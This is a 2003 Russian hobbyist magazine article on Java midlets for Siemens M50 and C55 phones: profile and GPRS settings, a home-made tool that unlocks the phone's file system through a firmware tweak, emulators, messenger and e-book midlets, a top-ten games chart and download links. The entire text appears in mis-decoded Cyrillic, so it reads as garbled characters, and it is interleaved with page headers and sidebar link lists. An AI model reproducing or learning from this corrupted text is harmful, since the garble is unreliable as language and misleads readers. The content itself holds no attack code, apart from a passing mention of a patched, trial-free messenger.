ïîçæå, à ïîêà çàïîìíè, ÷òî äëÿ êàæäîãî ïðèëîæåíèÿ<br />
íàäî áóäåò ñîçäàâàòü îòäåëüíûé êàòàëîã, è âñå<br />
îíè äîëæíû áûòü ðàçìåùåíû èìåííî ïî óêàçàííîìó<br />
ïóòè. Íèêàêèõ ïîäêàòàëîãîâ ñ èãðàìè íè âíóòðè äðóã<br />
äðóãà, íè â êàêîì-ëèáî äðóãîì ìåñòå - èíà÷å òåëåôîí<br />
èõ ïðîñòî íå óâèäèò.<br />
Êñòàòè, ìèäëåòû âïîëíå ìîæíî ïèñàòü ñàìîìó! Òåì áîëåå<br />
÷òî êîíêóðåíöèÿ òóò ìåíüøå, ÷åì íà ðûíêå "áîëüøîãî"<br />
ñîôòà, è âåñüìà âåðîÿòíî, ÷òî òâîÿ ïðîãðàììêà,<br />
ðåøàþùàÿ êâàäðàòíîå óðàâíåíèå, ñòàíåò èçâåñòíîé è<br />
ïîïóëÿðíîé. Ìåæäó ïðî÷èì, ÷òî-òî íå ïîìíþ ÿ ìèäëåòîâ,<br />
ðåøàþùèõ êâàäðàòíûå óðàâíåíèÿ...<br />
Íó äà ëàäíî, âåðíåìñÿ ê íàøèì áàðàíàì. Äëÿ ïóùåé<br />
ïðàâèëüíîñòè òåáå íóæíî íàñòðîèòü ïðîôèëè Java, ïî<br />
ìåíüøå ìåðå äëÿ òîãî, ÷òîáû íîðìàëüíî ñêà÷èâàòü<br />
ìèäëåòû ïî WAP'ó. Ýòî äåëàåòñÿ â ìåíþ "Íàñòðîéêè"-<br />
"Ïåðåäà÷à äàííûõ"-"Ïðîôèëè Java" èëè ïî ïðàâîé<br />
ñîôò-êëàâèøå â ìåíþ èãð. Òàì âñå ñòàíäàðòíî: çàäàåì<br />
âðåìÿ îòêëþ÷åíèÿ îò Ñåòè ïðè áåçäåéñòâèè, ïðîïóñêàåì<br />
çà íåíàäîáíîñòüþ ïàðàìåòðû ïðîêñè, à íàñòðîéêè<br />
äëÿ CSD è GPRS áåðåì ñ ñàéòà ñâîåãî îïåðàòîðà - íóæíû<br />
òå, êîòîðûå ïðåäíàçíà÷åíû äëÿ ïîäêëþ÷åíèÿ êîìïüþòåðà<br />
÷åðåç òåëåôîí ê èíòåðíåòó, à íå äëÿ âêëþ÷åíèÿ<br />
WAP'à íà òåëåôîíå! Íàïðèìåð, äëÿ ÌÒÑ-Ìîñêâà (â<br />
ïîðÿäêå ñîîòâåòñòâóþùèõ ïîëåé): 0885, àíàëîãîâîå,<br />
mts, mts; íåò, internet.mts.ru, mts, mts, 213.087.000.001,<br />
213.087.001.001. Êðîìå òîãî, åñëè òû áóäåøü òåëåôîíîì<br />
ñêà÷èâàòü ìèäëåòû èç Ñåòè, òî òåáå, ñêîðåå âñåãî,<br />
ïîòðåáóåòñÿ èçìåíèòü àäðåñ WAP-ãåéòà, òàê êàê ìíîãèå<br />
îïåðàòîðû íå ïðîïóñêàþò ÷åðåç ñåáÿ java-ïðèëîæåíèÿ<br />
(äà è íåêîòîðûé äðóãîé êîíòåíò). Åñëè ó òåáÿ âñå èìåííî<br />
òàê è ïðîèñõîäèò, òî ïîïðîáóé, íàïðèìåð, âîò ýòè<br />
ãåéòû: 194.048.124.071 èëè 195.098.032.115. Íàñòðàèâàåòñÿ<br />
ýòî â ìåíþ "Íàñòðîéêè"-"Ïåðåäà÷à Äàííûõ"-<br />
"Ïðîôèëè WAP"-"Íàñòðîéêà WAP"-"IP-àäðåñ".<br />
Äëÿ òåõ, êòî õî÷åò ïèñàòü ìèäëåòû ñàì<br />
1. Òâîé ãëàâíûé ëèíê<br />
www.yashka.dp.ua/java<br />
Çäåñü åñòü âñå íåîáõîäèìîå íà÷èíàþùåìó. Äàæå<br />
íåò ñìûñëà ðàñïèñûâàòü ïîäðîáíî...<br />
2. Ñîâåòû ïî ïðîãðàììèðîâàíèþ, â ÷àñòíîñòè è äëÿ<br />
J2ME<br />
http://javatips.narod.ru/<br />
3. Áàçîâàÿ èíôîðìàöèÿ<br />
www.midlet.ru<br />
26 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
Êàê òû óæå ïîíÿë, ïðèëîæåíèÿ íà ßâå ìîæíî ñêà÷èâàòü â<br />
òåëåôîí ÷åðåç WAP . Èçíà÷àëüíî - òîëüêî òàê è íèêàê<br />
èíà÷å. Îáúÿñíÿåòñÿ ýòî ìàðêåòèíãîâûìè èçâðàùåíèÿìè<br />
ôèðìû Siemens, äà è íå òîëüêî åå. Íî âåäü îáû÷íûì<br />
þçåðàì êóäà óäîáíåå ðàáîòàòü ñ òåëåôîíîì ïî äåøåâîìó<br />
êàáåëþ (îò 200-250 ðóáëåé çà êàáåëü â COM-ïîðò íà<br />
www.sotovik.ru èëè www.molotok.ru), ñîåäèíåííîìó ñ<br />
êîìïîì, ÷åì èçâðàùàòüñÿ ñ WAP'îì!<br />
Ïîìíèøü, ìû ãîâîðèëè î âíóòðåííåì äèñêå òåëåôîíà?<br />
Ñèìåíñ çàêðûë ê íåìó äîñòóï (êîòîðûé, îñóùåñòâëÿåòñÿ<br />
ïðîãðàììîé Data Exchange Software), è ïðèøëîñü ñâîèìè<br />
ðóêàìè êîïàòüñÿ â ïðîøèâêå, ÷òîáû îòêðûòü åãî ñíîâà.<br />
Ðåçóëüòàòîì ñòàëà ìîÿ ïðîãðàììà "Siemens AeroOff<br />
& Java Enabler v.2.1", êîòîðàÿ ïîìîæåò òåáå â ýòîì äåëå.<br />
Siemens AeroOff & Java Enabler v.2.1 -<br />
ñêðîìåí è àñêåòè÷åí<br />
Äëÿ åå èñïîëüçîâàíèÿ òåáå ïîòðåáóåòñÿ ñïåöèàëüíûé<br />
êàáåëü - ñ âíåøíèì ïèòàíèåì åãî ìèêðîñõåì. Ïîäðîáíî<br />
ïðî êàáåëè òû ñìîæåøü ïî÷èòàòü íà<br />
www.o45m.ru/soft9. ß æå ïðîñòî îòìå÷ó, ÷òî ðîäíûå ñèìåíñîâñêèå<br />
êàáåëè (íàïðèìåð, èç ïîñòàâêè S/ME45)<br />
äëÿ ýòîãî íå ïîäõîäÿò. Ïîäõîäÿò ïî÷òè âñå êàáåëè îò<br />
òåëåôîíîâ ñåðèè õ35, íåêîòîðûå USB-êàáåëè (íàïðèìåð,<br />
îò Mobile Action, äà è âîîáùå - ëþáûå, ãäå åñòü<br />
ïîäçàðÿäêà). Ëó÷øå âñåãî, ïîêóïàÿ êàáåëü íà ðûíêå<br />
èëè â èíòåðíåòå, ñïåöèàëüíî ñïðàøèâàòü "êàáåëü äëÿ<br />
ïåðåïðîøèâêè", ïðîäàâöû îáû÷íî â êóðñå äåëà è ïðîäàäóò<br />
òî, ÷òî íàäî. Íî íà âñÿêèé ñëó÷àé âñåãäà äîãîâàðèâàéñÿ<br />
î ìàíèáýêå...<br />
Ýòî ÷òî êàñàåòñÿ Ì(Ò)50. Â C55 Ñèìåíñ ââåë íîâûé ôîðìàò<br />
ðàçúåìà, è ïîýòîìó ñòàðûå êàáåëè íå ïîäõîäÿò âîîáùå.<br />
Åñòü íåñêîëüêî âîçìîæíûõ ðåøåíèé: êóïèòü USB-êàáåëü ó<br />
òîãî æå Mobile Action'à, ïåðåäåëàòü êàáåëü îò ïðåäûäóùèõ<br />
ìîäåëåé, ïåðåäåëàòü ðîäíîé êàáåëü îò C55. Â äâóõ ïîñëåäíèõ<br />
ñëó÷àÿõ íàäî áðàòü â ðóêè ïàÿëüíèê. Åñëè ýòî òåáå<br />
íå ïî ïëå÷ó, òî êîïè äåíüãè è ïîêóïàé USB âàðèàíò...<br />
Ïîñëå òîãî, êàê êóïèë èëè ñïàÿë âñå, ÷òî íóæíî, ñîâåðøàåøü<br />
ñëåäóþùèå äåéñòâèÿ:<br />
1) Ïîäêëþ÷àåøü òåëåôîí ïî êàáåëþ ê êîìïó.<br />
2) Çàïóñêàåøü ïðîãðàììó "Siemens AeroOff & Java<br />
Enabler".<br />
3) Âûêëþ÷àåøü òåëåôîí.<br />
4) Íàæèìàåøü åäèíñòâåííóþ íàëè÷åñòâóþùóþ â ïðîãðàììå<br />
êíîïî÷êó - "Start" ;-).<br />
5) Óáåäèñü, ÷òî â ñòàòóñ-áàðå íàïèñàíî "Scanning", è<br />
êîðîòêî íàæìè êíîïêó íà òåëåôîíå, íà êîòîðîé íàðèñîâàíà<br />
êðàñíàÿ òðóáêà.<br />
6) Åñëè âñå íîðìàëüíî, òî ïðîãðàììà áûñòðåíüêî ñîåäèíèòñÿ<br />
ñ òåëåôîíîì è ñäåëàåò âñå, ÷òî íóæíî.<br />
7) Òåïåðü ìîæåøü óñòàíàâëèâàòü DES è ðàäîâàòüñÿ<br />
õîæäåíèþ ïî äèñêó òåëåôîíà.<br />
Ôàêòè÷åñêè, åäèíñòâåííàÿ ïðîáëåìà, êîòîðàÿ ìîæåò ó<br />
òåáÿ âîçíèêíóòü - ïðîãðàììà íå îòðåàãèðóåò íà íàæàòèå<br />
"êðàñíîé òðóáêè" è îñòàíåòñÿ âèñåòü íà ñêàíèíãå.<br />
Òîãäà íà âñÿêèé ñëó÷àé ïîïðîáóé ïîâòîðèòü îïèñàííóþ<br />
ïîñëåäîâàòåëüíîñòü äåéñòâèé åùå ðàç. Åñëè è òåïåðü<br />
íå âûõîäèò - çíà÷èò ó òåáÿ ïëîõîé êàáåëü. Èíñòðóêöèþ,<br />
îïèñûâàþùóþ ñõåìó ïîâåäåíèÿ â òàêèõ ñëó÷àÿõ, èùè<br />
ïî ïðèâåäåííîé âûøå ññûëêå.<br />
<br />
Óñòàíîâëåííûé DES âñòðàèâàåòñÿ â îáû÷íîãî "Ïðîâîäíèêà",<br />
è òû ñìîæåøü âèäåòü ôëåêñ-äðàéâ òåëåôîíà ïðÿ-<br />
<br />
ìî â ñïèñêå äèñêîâ, îí áóäåò íàçûâàòüñÿ "Mobile". Ëó÷øå<br />
âñåãî ñðàçó çàáýêàïèòü âñå, ÷òî òû òàì íàéäåøü -<br />
ìàëî ëè ÷òî. Íî, â îáùåì è öåëîì, ðàáîòà ñ DES íå<br />
ïðåäñòàâëÿåò ñëîæíîñòè - òû ìîæåøü çàêà÷èâàòü è ñêà-<br />
÷èâàòü òóäà-ñþäà âñå, ÷òî äóøå óãîäíî, ðàçâå ÷òî, îáðàùàé<br />
âíèìàíèå íà êîëè÷åñòâî ñâîáîäíîãî ìåñòà - âåäü<br />
äèñê íà òåëåôîíå ñîâñåì íåáîëüøîé.<br />
Îòñþäà ñðàçó âûòåêàåò ïîòðåáíîñòü â äðóãîé ïîëåçíîé<br />
ïðîãðàììå - ýìóëÿòîðå òåëåôîíà. Äà-äà, èìåííî ýìóëÿòîðå!<br />
Òû ìîæåøü äåëàòü ñ íèì âñå òî æå ñàìîå, ÷òî<br />
è ñ îáû÷íîé ìîáèëîé - ðàáîòàþò âñå âîçìîæíîñòè,<br />
êðîìå, åñòåñòâåííî, íåïîñðåäñòâåííî òåëåôîííûõ.<br />
Âñå äîñòàòî÷íî ïðîñòî: óñòàíàâëèâàåøü (óáåäèñü, ÷òî<br />
ó òåáÿ åñòü Java Development Kit, à åñëè íåò - ñêà÷àé),<br />
çàïóñêàåøü, íàæèìàåøü F9, ÷òîáû "âñòàâèòü" ñèì-êàðòó,<br />
è ðàçâëåêàåøüñÿ. Ñàìîå ãëàâíîå - òû ìîæåøü ñêîïèðîâàòü<br />
ñðàçó âñå ìèäëåòû, êîòîðûå õî÷åøü ïîñìîòðåòü,<br />
â êàòàëîã ê ýìóëÿòîðó<br />
(C:\Siemens\SMTK\C55\filesystem\java\jam) è èçó÷àòü â<br />
íåì, à íå ãîíÿòü òóäà-ñþäà ïî êàáåëþ â ìîáèëó.<br />
À äëÿ òåõ, êòî áóäåò ñàì ïèñàòü ñâîé ñîôò - ýòî<br />
íåçàìåíèìûé äåáàããåð!<br />
Ññûëêè äëÿ ðàáîòû ñ ßâîé<br />
1. DES - ÷òîáû õîäèòü ïî äèñêó ìîáèëû ñ êîìïà<br />
www.o45m.ru/software/dataexchangesoftware_v267<br />
.exe<br />
2. Àêòèâèðîâàòü ßâó â M(T)50, C55<br />
http://download.siemensclub.ru/files/Siemens_AeroOff_&_JavaEnabler_21.rar<br />
è åñëè íå çàðàáîòàåò, òî äîáàâü åé<br />
http://download.siemensclub.ru/files/ocxregister.rar<br />
3. Ýìóëÿòîð Ì50<br />
http://download.siemens-club.ru/files/smtkM50.exe<br />
4. Ýìóëÿòîð C55<br />
http://download.siemens-club.ru/files/smtkC55.exe<br />
5. Java Runtime Enviroment - ñîéäåò çà JDK<br />
www.yashka.dp.ua/java/files/j2re-1_4_1_01-windows-i586-i.exe<br />
6. Ñîçäàåì êàáåëü äëÿ C55 ñâîèìè ðóêàìè<br />
http://forum.siemensclub.ru/viewtopic.php?TopicID=10754
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
PC_Zone<br />
ÌÎÁÈËÜÍÛÉ ÊÎÔÅ<br />
Skylord (sky_lord@mail.ru)<br />
Ýìóëÿòîð C55 - æàëêî, ÷òî â êàðìàí íå ïîëîæèøü<br />
Âîò, ýòî, ïîæàëóé, âñå, ÷òî ìîæåò íà ïåðâûõ ïîðàõ ïîíàäîáèòüñÿ<br />
òåáå äëÿ ïîëíîöåííîé ðàáîòû ñ ßâîé â òåëåôîíå.<br />
Åùå áûëî áû õîðîøî âêëþ÷èòü â òåëåôîíå<br />
Netmonitor, òîãäà ìîæíî áóäåò ïðÿìî íà íåì ðàáîòàòü<br />
ñ ôëåêñ-äðàéâîì, íî î Íåòìîíèòîðå ïîãîâîðèì êàê-íèáóäü<br />
ïîòîì.<br />
<br />
À òåïåðü, íàêîíåö, òî, ðàäè ÷åãî âñå ýòî çàòåâàëîñü -<br />
Java-ïðèëîæåíèÿ, îíè æå ìèäëåòû. Ñåé÷àñ â ýòîé ôîðìå<br />
ïðåäñòàâëåíî ÷óòü ëè íå âñå, ÷òî âîîáùå ìîæíî íàïèñàòü<br />
íà ÿçûêå ïðîãðàììèðîâàíèÿ. Íî ñêðóïóëåçíûìè<br />
ïîèñêàìè è îòáîðîì íåîáõîäèìîãî òû çàéìåøüñÿ ñàì,<br />
à ÿ òîëüêî ðàññêàæó òåáå î òîì, ÷òî ïîëüçóåòñÿ íàèáîëüøèì<br />
ñïðîñîì è îáû÷íî óñòàíàâëèâàåòñÿ íà âñå òåëåôîíû<br />
ïîãîëîâíî.<br />
<br />
Íàâåðíîå, ìå÷òà êàæäîãî ïîäñåâøåãî íà çåëåíûé Ìèðàáèëèñîâñêèé<br />
öâåòî÷åê - áûòü âñåãäà îíëàéí. Îäíàêî<br />
äàæå åñëè çàáûòü î âñÿêèõ ôîðìàëüíîñòÿõ, òî âñå ðàâíî<br />
íå ïîëó÷èòñÿ êðóãëîñóòî÷íî ñèäåòü çà êîìïîì. Òåïåðü<br />
òåáå íà ïîìîùü ïðèõîäèò òâîÿ ìîáèëà!<br />
Ñðåäè âñåõ àñå÷íûõ êëèåíòîâ (à èõ íåìàëî) ðåàëüíî<br />
íîðìàëüíûìè ÿâëÿþòñÿ, ïîæàëóé, òîëüêî äâà:<br />
QuickSilver Messenger è uMessanger. Â ïðèíöèïå, îíè<br />
ïîõîæè ïî ôóíêöèÿì è íàñòðîéêàì, íî ïðàêòèêà ïîêàçûâàåò<br />
áÎëüøóþ ãëþ÷íîñòü QSM: îí òðåáîâàòåëåí ê<br />
êîëè÷åñòâó ïàìÿòè è ëþáèò âûëåòàòü èç-çà åå íåõâàòêè,<br />
÷òî ÷àñòî ïðîÿâëÿåòñÿ, îñîáåííî íà Ì50. À âîò<br />
uMessenger, ïîïàâ â ðóêè íàøèõ ïðîãðàììåðîâ, íå<br />
òîëüêî ïåðåñòàë áûòü trial'íûì è îáçàâåëñÿ ïàðîé íîâûõ<br />
ôóíêöèé, íî, ÷òî ñàìîå ãëàâíîå, - íàó÷èëñÿ îòïðàâëÿòü<br />
ñîîáùåíèÿ ïî-ðóññêè, ÷òî åñòü áîëüøîé è<br />
æèðíûé ïëþñ. Ñêà÷èâàé, ÷èòàé îïèñàíèå â àðõèâå è óñòàíàâëèâàé<br />
ê ñåáå íà ìîáèëó - íè÷åãî ñëîæíîãî òàì<br />
íåò. Ãëàâíîå - èìåòü ïðàâèëüíûé Java-ïðîôèëü, ñîåäèíåíèå<br />
ïî GPRS - ÷òîáû äåíüãè íå êîí÷èëèñü ÷åðåç äåñÿòü<br />
ìèíóò, è íå îñîáî óñåðäñòâîâàòü ïî ïîâîäó êîëè-<br />
÷åñòâà ïîëüçîâàòåëåé - ÷åì áîëüøå èõ áóäåò â ñïèñêå,<br />
òåì ìåíåå ñòàáèëüíî áóäåò ðàáîòàòü ïðîãðàììà. Òåïåðü<br />
òû ìîæåøü ïðîâîäèòü âðåìÿ íà ëåêöèÿõ ñ òîëêîì.<br />
uMessanger ðàáîòàåò ÷åðåç jabber-ñåðâåð<br />
Ê ñîæàëåíèþ, íå âñå òàê ðàäóæíî ñ ìèäëåòàìè äëÿ ïîëó-<br />
÷åíèÿ è îòïðàâêè îáû÷íîé ýëåêòðîííîé ïî÷òû. Äà íåò,<br />
èõ ïîëíî, ïðîñòî íè îäèí íå ïîääåðæèâàåò ðóññêèé<br />
ÿçûê: êîäèðîâêè Koi8r è Win1251 èì íåèçâåñòíû. À æàëü.<br />
<br />
Ýõ, õî÷åòñÿ èíîãäà äîñòàòü êàêóþ-íèáóäü êíèæêó è çàáûòü<br />
íà ôèã îá îêðóæàþùåé äåéñòâèòåëüíîñòè! Îñîáåííî<br />
ñèëüíî ýòà òÿãà ïðîÿâëÿåòñÿ â äî ïîòîëêà çàïîëíåííîì<br />
ðàííèì óòðîì ìåòðî. À âîò íà ýêçàìåíå îáû÷íî<br />
åñòü ñòðàñòíîå æåëàíèå ê ýòîé ñàìîé äåéñòâèòåëüíîñòè<br />
ïðèáëèçèòüñÿ - õîòÿ áû äî òîé ñòåïåíè, ÷òîáû íå âûãíàëè<br />
èç èíñòèòóòà.<br />
Ìîáèëüíèê è òóò ïðèäåò íàì íà ïîìîùü! ×èòàòü ñ åãî<br />
ïîìîùüþ êíèæêè ëåãêî è ïðèÿòíî. Äëÿ ýòèõ öåëåé âîò<br />
óæå î÷åíü äàâíî ñóùåñòâóåò ìèäëåò MicroReader, êîòîðûé<br />
äî ñèõ ïîð íèêòî íå ñóìåë ïåðåïëþíóòü ïî ôóíêöèîíàëüíîñòè<br />
è óäîáñòâó: òóò òåáå è ïîääåðæêà ðàçíûõ<br />
Ññûëêè íà àñüêè<br />
1. QuickSilver Messenger.<br />
www.softex-india.com/downloads.html<br />
2. Ïàò÷åíûé è ïåðåäåëàííûé uMessanger.<br />
www.angelfire.com/ok5/ums/ums.zip<br />
3. MiMessager - åùå îäèí íåïëîõîé êëèåíò.<br />
http://lagomat.narod.ru/mimess.zip<br />
4. Ïî÷èòàé äëÿ îáùåãî îáðàçîâàíèÿ: íþàíñû àñüêè<br />
íà ßâå.<br />
http://forum.siemensclub.ru/viewtopic.php?TopicID=11272http://forum.siemensclub.ru/viewtopic.php?TopicID=16752<br />
êîäèðîâîê (âêëþ÷àÿ ðóññêèå Koi8r è Win1251), è ÷óòü ëè<br />
íå ëþáîé ðàçìåð ôàéëà ñ òåêñòîì, è ñîõðàíåíèå ïîçèöèè<br />
÷òåíèÿ, è çàêëàäêè, è ïîèñê, è ðåäàêòèðîâàíèå...<br />
Êîðî÷å, âñå, ÷òî òîëüêî ìîæíî ïðèäóìàòü è âîïëîòèòü â<br />
æèçíü. Ïðîëèñòàâ readme ê ýòîìó çàìå÷àòåëüíîìó ìèäëåòó,<br />
òû áûñòðî âñå ïîéìåøü: ñêèäûâàé òåêñòîâûå<br />
ôàéëû â ïîäêàòàëîã Storage êàòàëîãà Ìèêðîðèäåðà è<br />
÷èòàé â ñâîå óäîâîëüñòâèå.<br />
Ìèäëåò MicroReader. Íå Âîðä, íî òîæå íåïëîõî<br />
Ê ñîæàëåíèþ, îãðàíè÷åííîå êîëè÷åñòâî ïàìÿòè M50 è<br />
C55 íå ïîçâîëÿåò èì õðàíèòü äåéñòâèòåëüíî áîëüøèå<br />
òåêñòû (ëþáîé ðîìàí çàíèìàåò îò 400 êá ïàìÿòè), íî ñ<br />
öåëüþ ïîáîðîòü ýòî îãðàíè÷åíèå Blade'îì (êñòàòè, òîæå<br />
íàø ðóññêèé ïðîãðàììåð!) áûë íàïèñàí ìèäëåò<br />
ReaderC, ïîçâîëÿþùèé ðàáîòàòü ñî ñæàòûìè òåêñòàìè.<br />
Ñóòü â òîì, ÷òî jar-ôàéëû - ýòî îáû÷íûå zip'îâñêèå àðõèâû,<br />
è èìåííî ýòèì ôàêòîì ïîëüçóåòñÿ àâòîð ïðîãðàììû.<br />
Íà äàííûé ìîìåíò îíà åùå äîâîëüíî ñûðàÿ,<br />
íî âñå ðàâíî, ýòî, íåñîìíåííî, î÷åíü ïåðñïåêòèâíûé<br />
ïðîäóêò, êîòîðûé ÿ ðåêîìåíäóþ íå âûïóñêàòü èç âèäà.<br />
Àâîñü è íà Ì50 ïîëó÷èòñÿ çàïèõíóòü âñåãî Òîëêèåíà?<br />
<br />
ß áû ñ óäîâîëüñòâèåì ðàññêàçàë òåáå è î äðóãèõ ïðîãðàììàõ<br />
äëÿ òåëåôîíîâ (à èõ äåéñòâèòåëüíî î÷åíü ìíî-<br />
28 Íüþñû 1 Ôåððóì 2 Inside 3<br />
PC_Zone 4 Âçëîì
ãî!), íî íà ýòî ïðîñòî íå õâàòèò ìåñòà. Òû è ñàì ñìî<br />
æåøü îòûñêàòü èõ íà ïðîñòîðàõ Ñåòè, ãëàâíîå - íå ëåíèñü<br />
è ãðàìîòíî ïîëüçóéñÿ ïîèñêîì. À ñåé÷àñ äàâàé<br />
ïåðåéäåì ê ñàìîìó, íàâåðíîå, ãëàâíîìó - òîìó, ÷òî<br />
äëÿ ìíîãèõ èìååò ïåðâîî÷åðåäíîå çíà÷åíèå è ÿâëÿåòñÿ<br />
ñìûñëîì æèçíè - ê èãðàì! Îïèñûâàòü èõ âñå - òàêæå<br />
çàíÿòèå íåáëàãîäàðíîå: êîëè÷åñòâî óæå èñ÷èñëÿåòñÿ<br />
òðåõçíà÷íûìè ÷èñëàìè, ÷òî ÿâëÿåòñÿ, íåñîìíåííî, õîðîøèì<br />
ðåçóëüòàòîì, ó÷èòûâàÿ íåäîëãîå âðåìÿ ñóùåñòâîâàíèÿ<br />
òåëåôîíîâ ñ J2ME. È õîòÿ, êîíå÷íî, ìíîãî<br />
ñðåäè èãð îòêðîâåííîãî áàðàõëà, ñëÿïàííîãî íà êîëåíêå<br />
çà ïîë÷àñà, ïîïàäàþòñÿ è íàñòîÿùèå øåäåâðû (îñîáåííî<br />
ðåêîìåíäóþ îçíàêîìèòüñÿ ñ ïðîäóêöèåé ôèðìû<br />
Gameloft!), ñäåëàííûå ïðîôåññèîíàëàìè, èãðàòü â êîòîðûå<br />
- îäíî óäîâîëüñòâèå. Èòàê, äåðæè ñâîåîáðàçíûé<br />
÷àðò "10 ëó÷øèõ J2ME èãð", ñîñòàâëåííûé íà îñíîâå<br />
ìíåíèÿ êîìïåòåíòíîé èíòåðíåòîâñêîé îáùåñòâåííîñòè,<br />
à èìåííî - ôîðóìà ñàéòà www.siemens-club.ru:<br />
Äåñÿòîå ìåñòî - HTetris. Êàçàëîñü áû - òåòðèñ, ÷òî<br />
ìîæåò áûòü ïðîùå? Íî ýòî - ëó÷øèé ðèìåéê äëÿ ìîáèëüíèêîâ<br />
íàøåé êëàññè÷åñêîé èãðû.<br />
Òåòðèñ è â Àôðèêå - òåòðèñ<br />
Äåâÿòîå ìåñòî - Gameloft's Solitaire. Ïðîçàè÷íåå<br />
íåêóäà: îáû÷íûé ïàñüÿíñ "Êîñûíêà". Íî â èñïîëíåíèè<br />
Gameloft'à ñìîòðèòñÿ è èãðàåòñÿ íå õóæå, ÷åì íà êîìïå.<br />
Ãëàâíîå, íà ìîé âçãëÿä, îòëè÷èå îò ìíîãèõ êàðòî÷íûõ<br />
èãð - âñå êàðòû õîðîøî âèäíû, è íå íàäî ïîðòèòü<br />
ãëàçà â ïîïûòêàõ óãàäàòü, ÷òî ïîÿâèëîñü íà ýêðàíå.<br />
Ìîáèëüíàÿ "Êîñûíêà"<br />
Âîñüìîå ìåñòî - StackAttack2 Pro. Ýòî íå òà èãðóøêà,<br />
÷òî èäåò â êîìïëåêòå M50. Ýòó íàäî ñêà÷èâàòü ñàìîìó<br />
ñ ñàéòà Ñèìåíñà ïî WAP. Ïðèíöèï òîò æå - óêëàäûâàòü<br />
ïàäàþùèå ÿùèêè, íî âñÿêèõ ìåëêèõ ïðèÿòíîñòåé è<br />
äîáàâîê - òèïà âçðûâîâ è ðàçíûõ áîíóñîâ, ñòàëî áîëüøå.<br />
Òÿæåëà ðàáîòà ãðóç÷èêà<br />
Ñåäüìîå ìåñòî - Galaxy Hero. Âñòðîåííàÿ èãðóøêà<br />
èç òåëåôîíà C55 (íà Ì50 íå ðàáîòàåò, òàê êàê òðåáóåò<br />
íàëè÷èÿ ïîëèôîíèè), ÷òî, âïðî÷åì, íå óìàëÿåò åå äîñòîèíñòâ.<br />
Ëåòèøü íà ñàìîëåòå è âñåõ âûíîñèøü. Íà çàðàáîòàííûå<br />
î÷êè ìîæíî àïãðåéäèòü ñâîé ëåòàòåëüíûé<br />
àïïàðàò. Âåðñèÿ Demo, à ïîëíîé ÿ òàê è íå íàøåë... :-(<br />
È ñíèòñÿ íàì íå ðîêîò êîñìîäðîìà<br />
<br />
Âîò, ïîæàëóé, è âñå. Êîíå÷íî, íåâîçìîæíî â òàêîì íåáîëüøîì<br />
ìàòåðèàëå îõâàòèòü âåñü êðóã âîïðîñîâ, îòíîñÿùèõñÿ<br />
ê ßâå äëÿ ìîáèëüíèêîâ, íî ýòî è íå âõîäèëî â<br />
ìîè ïëàíû. Ãëàâíîå, ÷òîáû òåáå ýòî ñòàëî èíòåðåñíî, è<br />
òû ïîíÿë, ÷òî òâîé òåëåôîí - ýòî íå ïðîñòî êóñîê<br />
ïëàñòìàññû ñ àíòåííîé, à ìíîãîôóíêöèîíàëüíûé ïðèáîð,<br />
êîòîðûé òû ìîæåøü àäåêâàòíî èñïîëüçîâàòü, à<br />
ïðè æåëàíèè - äàæå äîïîëíèòü íîâûìè ôóíêöèÿìè, íå<br />
ïðåäóñìîòðåííûìè ïðîèçâîäèòåëåì. À ìîæåò, êîãäàíèáóäü<br />
ïðèÿòåëè óâèäÿò íà ýêðàíå òâîåé ìîáèëû íåçíàêîìóþ<br />
êëåâóþ èãðóøêó è, ñïðîñèâ òåáÿ, îòêóäà îíà<br />
âçÿëàñü, ïîëó÷àò òâîé íåáðåæíûé îòâåò:<br />
"Ñàì íàïèñàë". Ïî-ìîåìó – íåïëîõî :).<br />
Øåñòîå ìåñòî - Caveman. Ìîæåò, êòî ïîìíèò òàêóþ<br />
ñòàðóþ ÄÎÑîâñêóþ èãðó Supaplex? Ïðåëåñòíàÿ áûëà<br />
øòó÷êà! Âîò ýòî îíî è åñòü, ïî÷òè ïîëíàÿ êîïèÿ: ðîåøü<br />
çåìëþ, ñîáèðàåøü àëìàçû è ïûòàåøüñÿ íå óãîäèòü ïîä<br />
âàëÿùèåñÿ èç ñòåí êàìíè. Î÷åíü äàæå íåïëîõî!<br />
Ïàìÿòè Äèããåðà ïîñâÿùàåòñÿ<br />
Ïÿòîå ìåñòî - Rainbow 6: Broken Wing. Ñîãëàøóñü<br />
ñ âûñêàçàííîé íà ôîðóìå ÑèìåíñÊëóáà ìûñëüþ: íó<br />
ïðÿìî CounterStrike! Õîäèøü ñïåöíàçîâöåì è ñ ïîìîùüþ<br />
ðàçíîãî îðóæèÿ óíè÷òîæàåøü òåððîðèñòîâ, ñïàñàåøü<br />
çàëîæíèêîâ è îáåçâðåæèâàåøü áîìáû. Ñóïåð!<br />
À ïóëè ëåòÿò<br />
×åòâåðòîå ìåñòî - Prince of Persia. Äà, äà, äà! Ýòî<br />
èìåííî îí! Ëþáèìûé ñ äåòñòâà, ñ XTøåê è äâóøåê<br />
Ïðèíö - â âåðñèè äëÿ ìîáèëüíèêà. Èãðà äëÿ SL45, ïîýòîìó<br />
íà M50 è C55 îáðåçàí íèæíèé êðàé èçîáðàæåíèÿ,<br />
íî ýòî íå îñîáåííî ìåøàåò.<br />
Ãîäû èäóò - èãðû íå ìåíÿþòñÿ<br />
Òðåòüå ìåñòî - Antilly. Êëàññè÷åñêàÿ àðêàäà. Íàäî<br />
õîäèòü ìîùíûì (ñóäÿ ïî êàðàòåøíûì óäàðàì íîãîé)<br />
ìóðàâüåì è ìî÷èòü âñÿêèõ ïàóêîâ, ï÷åë, à çàîäíî è ñîáèðàòü<br />
áîíóñû. Î÷åíü íåïëîõàÿ ãðàôèêà (÷åãî, ÈÌÕÎ,<br />
íå ñêàæåøü ïî ñêðèíøîòó).<br />
Óãàäàé, ÷òî ýòî?<br />
Ññûëêè íà ÷èòàëêè<br />
<br />
1. MicroReader. Ñàìàÿ ïîïóëÿðíàÿ íà ñåãîäíÿøíèé<br />
äåíü.<br />
http://m50alegon.narod.ru/midlet/MicroReader1.1.zip<br />
2. Îòå÷åñòâåííàÿ ÷èòàëêà ñî ñæàòèåì.<br />
http://m50j2me.narod.ru/ReaderCv0.31.zip<br />
http://forum.siemensclub.ru/viewtopic.php?TopicID=12451<br />
Ìèäëåòû ñ èãðàìè<br />
1. Ïî ýòèì ññûëêàì òû íàéäåøü ðåàëüíî ìíîãî èãð<br />
http://www.siemens-club.ru/soft/soft_java_c55.php<br />
http://mt50.narod.ru/<br />
http://www.mobilesite.ru/Html/games.htm<br />
